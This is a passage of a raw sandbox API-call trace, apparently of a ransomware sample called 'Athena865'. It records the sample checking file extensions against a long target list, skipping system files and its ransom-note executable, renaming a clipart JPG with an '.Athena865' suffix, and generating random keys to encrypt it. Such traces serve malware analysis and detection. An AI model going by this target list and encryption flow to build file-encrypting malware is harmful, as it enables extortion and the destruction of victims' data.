lpString2="rar") returned -1 [0129.907] lstrlenW (lpString="zip") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0129.907] lstrlenW (lpString="tgz") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0129.907] lstrlenW (lpString="vbox") returned 4 [0129.907] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0129.907] lstrlenW (lpString="vdi") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0129.907] lstrlenW (lpString="vhd") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0129.907] lstrlenW (lpString="vhdx") returned 4 [0129.907] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0129.907] lstrlenW (lpString="avhd") returned 4 [0129.907] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0129.907] lstrlenW (lpString="db") returned 2 [0129.907] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0129.907] lstrlenW (lpString="db2") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0129.907] lstrlenW (lpString="db3") returned 3 [0129.907] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0129.907] lstrlenW (lpString="dbf") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0129.908] lstrlenW (lpString="mdf") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0129.908] lstrlenW (lpString="mdb") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0129.908] lstrlenW (lpString="sql") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0129.908] lstrlenW (lpString="sqlite") returned 6 [0129.908] lstrcmpiW (lpString1="43.JPG", lpString2="sqlite") returned -1 [0129.908] lstrlenW (lpString="sqlite3") returned 7 [0129.908] lstrcmpiW (lpString1="643.JPG", lpString2="sqlite3") returned -1 [0129.908] lstrlenW (lpString="sqlitedb") returned 8 [0129.908] lstrcmpiW (lpString1="7643.JPG", lpString2="sqlitedb") returned -1 [0129.908] lstrlenW (lpString="xml") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0129.908] lstrlenW (lpString="$er") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0129.908] lstrlenW (lpString="4dd") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0129.908] lstrlenW (lpString="4dl") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0129.908] lstrlenW (lpString="^^^") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0129.908] lstrlenW (lpString="abs") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0129.908] lstrlenW (lpString="abx") returned 3 [0129.908] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0129.909] lstrlenW (lpString="accdb") returned 5 [0129.909] lstrcmpiW (lpString1="3.JPG", lpString2="accdb") returned -1 [0129.909] lstrlenW (lpString="accdc") returned 5 [0129.909] lstrcmpiW (lpString1="3.JPG", lpString2="accdc") returned -1 [0129.909] lstrlenW (lpString="accde") returned 5 [0129.909] lstrcmpiW (lpString1="3.JPG", lpString2="accde") returned -1 [0129.909] lstrlenW (lpString="accdr") returned 5 [0129.909] lstrcmpiW (lpString1="3.JPG", lpString2="accdr") returned -1 [0129.909] lstrlenW (lpString="accdt") returned 5 [0129.909] lstrcmpiW (lpString1="3.JPG", lpString2="accdt") returned -1 [0129.909] lstrlenW (lpString="accdw") returned 5 [0129.909] lstrcmpiW (lpString1="3.JPG", lpString2="accdw") returned -1 [0129.909] lstrlenW (lpString="accft") returned 5 [0129.909] lstrcmpiW (lpString1="3.JPG", lpString2="accft") returned -1 [0129.909] lstrlenW (lpString="adb") returned 3 [0129.909] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.909] lstrlenW (lpString="adb") returned 3 [0129.909] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.909] lstrlenW (lpString="ade") returned 3 [0129.909] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0129.909] lstrlenW (lpString="adf") returned 3 [0129.909] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0129.909] lstrlenW (lpString="adn") returned 3 [0129.909] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0129.909] lstrlenW (lpString="adp") returned 3 [0129.909] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0129.910] lstrlenW (lpString="alf") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0129.910] lstrlenW (lpString="ask") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0129.910] lstrlenW (lpString="btr") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0129.910] lstrlenW (lpString="cat") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0129.910] lstrlenW (lpString="cdb") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0129.910] lstrlenW (lpString="ckp") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0129.910] lstrlenW (lpString="cma") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0129.910] lstrlenW (lpString="cpd") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0129.910] lstrlenW (lpString="dacpac") returned 6 [0129.910] lstrcmpiW (lpString1="43.JPG", lpString2="dacpac") returned -1 [0129.910] lstrlenW (lpString="dad") returned 3 [0129.910] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0129.910] lstrlenW (lpString="dadiagrams") returned 10 [0129.910] lstrcmpiW (lpString1="287643.JPG", lpString2="dadiagrams") returned -1 [0129.910] lstrlenW (lpString="daschema") returned 8 [0129.910] lstrcmpiW (lpString1="7643.JPG", lpString2="daschema") returned -1 [0129.910] lstrlenW (lpString="db-journal") returned 10 [0129.910] lstrcmpiW (lpString1="287643.JPG", lpString2="db-journal") returned -1 [0129.910] lstrlenW (lpString="db-shm") returned 6 [0129.911] lstrcmpiW (lpString1="43.JPG", lpString2="db-shm") returned -1 [0129.911] lstrlenW (lpString="db-wal") returned 6 [0129.911] lstrcmpiW (lpString1="43.JPG", lpString2="db-wal") returned -1 [0129.911] lstrlenW (lpString="dbc") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0129.911] lstrlenW (lpString="dbs") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0129.911] lstrlenW (lpString="dbt") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0129.911] lstrlenW (lpString="dbv") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0129.911] lstrlenW (lpString="dbx") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0129.911] lstrlenW (lpString="dcb") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0129.911] lstrlenW (lpString="dct") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0129.911] lstrlenW (lpString="dcx") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dcx") returned 1 [0129.911] lstrlenW (lpString="ddl") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="ddl") returned 1 [0129.911] lstrlenW (lpString="dlis") returned 4 [0129.911] lstrcmpiW (lpString1=".JPG", lpString2="dlis") returned -1 [0129.911] lstrlenW (lpString="dp1") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dp1") returned 1 [0129.911] lstrlenW (lpString="dqy") returned 3 [0129.911] lstrcmpiW (lpString1="JPG", lpString2="dqy") returned 1 [0129.912] lstrlenW (lpString="dsk") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="dsk") returned 1 [0129.912] lstrlenW (lpString="dsn") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="dsn") returned 1 [0129.912] lstrlenW (lpString="dtsx") returned 4 [0129.912] lstrcmpiW (lpString1=".JPG", lpString2="dtsx") returned -1 [0129.912] lstrlenW (lpString="dxl") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="dxl") returned 1 [0129.912] lstrlenW (lpString="eco") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="eco") returned 1 [0129.912] lstrlenW (lpString="ecx") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="ecx") returned 1 [0129.912] lstrlenW (lpString="edb") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="edb") returned 1 [0129.912] lstrlenW (lpString="epim") returned 4 [0129.912] lstrcmpiW (lpString1=".JPG", lpString2="epim") returned -1 [0129.912] lstrlenW (lpString="fcd") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="fcd") returned 1 [0129.912] lstrlenW (lpString="fdb") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="fdb") returned 1 [0129.912] lstrlenW (lpString="fic") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="fic") returned 1 [0129.912] lstrlenW (lpString="flexolibrary") returned 12 [0129.912] lstrlenW (lpString="fm5") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="fm5") returned 1 [0129.912] lstrlenW (lpString="fmp") returned 3 [0129.912] lstrcmpiW (lpString1="JPG", lpString2="fmp") returned 1 [0129.912] lstrlenW (lpString="fmp12") returned 5 [0129.913] lstrcmpiW (lpString1="3.JPG", lpString2="fmp12") returned -1 [0129.913] lstrlenW (lpString="fmpsl") returned 5 [0129.913] lstrcmpiW (lpString1="3.JPG", lpString2="fmpsl") returned -1 [0129.913] lstrlenW (lpString="fol") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="fol") returned 1 [0129.913] lstrlenW (lpString="fp3") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="fp3") returned 1 [0129.913] lstrlenW (lpString="fp4") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="fp4") returned 1 [0129.913] lstrlenW (lpString="fp5") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="fp5") returned 1 [0129.913] lstrlenW (lpString="fp7") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="fp7") returned 1 [0129.913] lstrlenW (lpString="fpt") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="fpt") returned 1 [0129.913] lstrlenW (lpString="frm") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="frm") returned 1 [0129.913] lstrlenW (lpString="gdb") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0129.913] lstrlenW (lpString="gdb") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0129.913] lstrlenW (lpString="grdb") returned 4 [0129.913] lstrcmpiW (lpString1=".JPG", lpString2="grdb") returned -1 [0129.913] lstrlenW (lpString="gwi") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="gwi") returned 1 [0129.913] lstrlenW (lpString="hdb") returned 3 [0129.913] lstrcmpiW (lpString1="JPG", lpString2="hdb") returned 1 [0129.914] lstrlenW (lpString="his") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="his") returned 1 [0129.914] lstrlenW (lpString="ib") returned 2 [0129.914] lstrcmpiW (lpString1="PG", lpString2="ib") returned 1 [0129.914] lstrlenW (lpString="idb") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="idb") returned 1 [0129.914] lstrlenW (lpString="ihx") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="ihx") returned 1 [0129.914] lstrlenW (lpString="itdb") returned 4 [0129.914] lstrcmpiW (lpString1=".JPG", lpString2="itdb") returned -1 [0129.914] lstrlenW (lpString="itw") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="itw") returned 1 [0129.914] lstrlenW (lpString="jet") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="jet") returned 1 [0129.914] lstrlenW (lpString="jtx") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="jtx") returned -1 [0129.914] lstrlenW (lpString="kdb") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="kdb") returned -1 [0129.914] lstrlenW (lpString="kexi") returned 4 [0129.914] lstrcmpiW (lpString1=".JPG", lpString2="kexi") returned -1 [0129.914] lstrlenW (lpString="kexic") returned 5 [0129.914] lstrcmpiW (lpString1="3.JPG", lpString2="kexic") returned -1 [0129.914] lstrlenW (lpString="kexis") returned 5 [0129.914] lstrcmpiW (lpString1="3.JPG", lpString2="kexis") returned -1 [0129.914] lstrlenW (lpString="lgc") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="lgc") returned -1 [0129.914] lstrlenW (lpString="lwx") returned 3 [0129.914] lstrcmpiW (lpString1="JPG", lpString2="lwx") returned -1 [0129.915] lstrlenW (lpString="maf") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="maf") returned -1 [0129.915] lstrlenW (lpString="maq") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="maq") returned -1 [0129.915] lstrlenW (lpString="mar") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mar") returned -1 [0129.915] lstrlenW (lpString="marshal") returned 7 [0129.915] lstrcmpiW (lpString1="643.JPG", lpString2="marshal") returned -1 [0129.915] lstrlenW (lpString="mas") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mas") returned -1 [0129.915] lstrlenW (lpString="mav") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mav") returned -1 [0129.915] lstrlenW (lpString="maw") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="maw") returned -1 [0129.915] lstrlenW (lpString="mdbhtml") returned 7 [0129.915] lstrcmpiW (lpString1="643.JPG", lpString2="mdbhtml") returned -1 [0129.915] lstrlenW (lpString="mdn") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mdn") returned -1 [0129.915] lstrlenW (lpString="mdt") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mdt") returned -1 [0129.915] lstrlenW (lpString="mfd") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mfd") returned -1 [0129.915] lstrlenW (lpString="mpd") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mpd") returned -1 [0129.915] lstrlenW (lpString="mrg") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mrg") returned -1 [0129.915] lstrlenW (lpString="mud") returned 3 [0129.915] lstrcmpiW (lpString1="JPG", lpString2="mud") returned -1 [0129.916] lstrlenW (lpString="mwb") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="mwb") returned -1 [0129.916] lstrlenW (lpString="myd") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="myd") returned -1 [0129.916] lstrlenW (lpString="ndf") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="ndf") returned -1 [0129.916] lstrlenW (lpString="nnt") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="nnt") returned -1 [0129.916] lstrlenW (lpString="nrmlib") returned 6 [0129.916] lstrcmpiW (lpString1="43.JPG", lpString2="nrmlib") returned -1 [0129.916] lstrlenW (lpString="ns2") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="ns2") returned -1 [0129.916] lstrlenW (lpString="ns3") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="ns3") returned -1 [0129.916] lstrlenW (lpString="ns4") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="ns4") returned -1 [0129.916] lstrlenW (lpString="nsf") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="nsf") returned -1 [0129.916] lstrlenW (lpString="nv") returned 2 [0129.916] lstrcmpiW (lpString1="PG", lpString2="nv") returned 1 [0129.916] lstrlenW (lpString="nv2") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="nv2") returned -1 [0129.916] lstrlenW (lpString="nwdb") returned 4 [0129.916] lstrcmpiW (lpString1=".JPG", lpString2="nwdb") returned -1 [0129.916] lstrlenW (lpString="nyf") returned 3 [0129.916] lstrcmpiW (lpString1="JPG", lpString2="nyf") returned -1 [0129.917] lstrlenW (lpString="odb") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0129.917] lstrlenW (lpString="odb") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0129.917] lstrlenW (lpString="oqy") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="oqy") returned -1 [0129.917] lstrlenW (lpString="ora") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="ora") returned -1 [0129.917] lstrlenW (lpString="orx") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="orx") returned -1 [0129.917] lstrlenW (lpString="owc") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="owc") returned -1 [0129.917] lstrlenW (lpString="p96") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="p96") returned -1 [0129.917] lstrlenW (lpString="p97") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="p97") returned -1 [0129.917] lstrlenW (lpString="pan") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="pan") returned -1 [0129.917] lstrlenW (lpString="pdb") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="pdb") returned -1 [0129.917] lstrlenW (lpString="pdm") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="pdm") returned -1 [0129.917] lstrlenW (lpString="pnz") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="pnz") returned -1 [0129.917] lstrlenW (lpString="qry") returned 3 [0129.917] lstrcmpiW (lpString1="JPG", lpString2="qry") returned -1 [0129.918] lstrlenW (lpString="qvd") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="qvd") returned -1 [0129.918] lstrlenW (lpString="rbf") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="rbf") returned -1 [0129.918] lstrlenW (lpString="rctd") returned 4 [0129.918] lstrcmpiW (lpString1=".JPG", lpString2="rctd") returned -1 [0129.918] lstrlenW (lpString="rod") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="rod") returned -1 [0129.918] lstrlenW (lpString="rodx") returned 4 [0129.918] lstrcmpiW (lpString1=".JPG", lpString2="rodx") returned -1 [0129.918] lstrlenW (lpString="rpd") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="rpd") returned -1 [0129.918] lstrlenW (lpString="rsd") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="rsd") returned -1 [0129.918] lstrlenW (lpString="sas7bdat") returned 8 [0129.918] lstrcmpiW (lpString1="7643.JPG", lpString2="sas7bdat") returned -1 [0129.918] lstrlenW (lpString="sbf") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="sbf") returned -1 [0129.918] lstrlenW (lpString="scx") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="scx") returned -1 [0129.918] lstrlenW (lpString="sdb") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="sdb") returned -1 [0129.918] lstrlenW (lpString="sdc") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="sdc") returned -1 [0129.918] lstrlenW (lpString="sdf") returned 3 [0129.918] lstrcmpiW (lpString1="JPG", lpString2="sdf") returned -1 [0129.919] lstrlenW (lpString="sis") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="sis") returned -1 [0129.919] lstrlenW (lpString="spq") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="spq") returned -1 [0129.919] lstrlenW (lpString="te") returned 2 [0129.919] lstrcmpiW (lpString1="PG", lpString2="te") returned -1 [0129.919] lstrlenW (lpString="teacher") returned 7 [0129.919] lstrcmpiW (lpString1="643.JPG", lpString2="teacher") returned -1 [0129.919] lstrlenW (lpString="tmd") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="tmd") returned -1 [0129.919] lstrlenW (lpString="tps") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="tps") returned -1 [0129.919] lstrlenW (lpString="trc") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0129.919] lstrlenW (lpString="trc") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0129.919] lstrlenW (lpString="trm") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="trm") returned -1 [0129.919] lstrlenW (lpString="udb") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="udb") returned -1 [0129.919] lstrlenW (lpString="udl") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="udl") returned -1 [0129.919] lstrlenW (lpString="usr") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="usr") returned -1 [0129.919] lstrlenW (lpString="v12") returned 3 [0129.919] lstrcmpiW (lpString1="JPG", lpString2="v12") returned -1 [0129.920] lstrlenW (lpString="vis") returned 3 [0129.920] lstrcmpiW (lpString1="JPG", lpString2="vis") returned -1 [0129.920] lstrlenW (lpString="vpd") returned 3 [0129.920] lstrcmpiW (lpString1="JPG", lpString2="vpd") returned -1 [0129.920] lstrlenW (lpString="vvv") returned 3 [0129.920] lstrcmpiW (lpString1="JPG", lpString2="vvv") returned -1 [0129.920] lstrlenW (lpString="wdb") returned 3 [0129.920] lstrcmpiW (lpString1="JPG", lpString2="wdb") returned -1 [0129.920] lstrlenW (lpString="wmdb") returned 4 [0129.920] lstrcmpiW (lpString1=".JPG", lpString2="wmdb") returned -1 [0129.920] lstrlenW (lpString="wrk") returned 3 [0129.920] lstrcmpiW (lpString1="JPG", lpString2="wrk") returned -1 [0129.920] lstrlenW (lpString="xdb") returned 3 [0129.920] lstrcmpiW (lpString1="JPG", lpString2="xdb") returned -1 [0129.920] lstrlenW (lpString="xld") returned 3 [0129.920] lstrcmpiW (lpString1="JPG", lpString2="xld") returned -1 [0129.920] lstrlenW (lpString="xmlff") returned 5 [0129.920] lstrcmpiW (lpString1="3.JPG", lpString2="xmlff") returned -1 [0129.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.Athena865") returned 73 [0129.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.athena865"), dwFlags=0x1) returned 1 [0129.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.930] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16017) returned 1 [0129.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.930] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.931] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.931] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.931] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41a0, lpName=0x0) returned 0x154 [0129.933] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41a0) returned 0x100000 [0129.934] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.935] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.935] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.936] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.936] CloseHandle (hObject=0x154) returned 1 [0129.936] CloseHandle (hObject=0x17c) returned 1 [0129.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.937] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2=".") returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="..") returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="windows") returned -1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="bootmgr") returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="temp") returned -1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="pagefile.sys") returned -1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="boot") returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="ids.txt") returned 1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="ntuser.dat") returned -1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="perflogs") returned -1 [0129.937] lstrcmpiW (lpString1="J0287644.JPG", lpString2="MSBuild") returned -1 [0129.937] lstrlenW (lpString="J0287644.JPG") returned 12 [0129.937] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287644.JPG" | out: lpString1="J0287644.JPG") returned="J0287644.JPG" [0129.937] lstrlenW (lpString="J0287644.JPG") returned 12 [0129.937] lstrlenW (lpString="Athena865") returned 9 [0129.937] lstrcmpiW (lpString1="87644.JPG", lpString2="Athena865") returned -1 [0129.937] lstrlenW (lpString=".dll") returned 4 [0129.937] 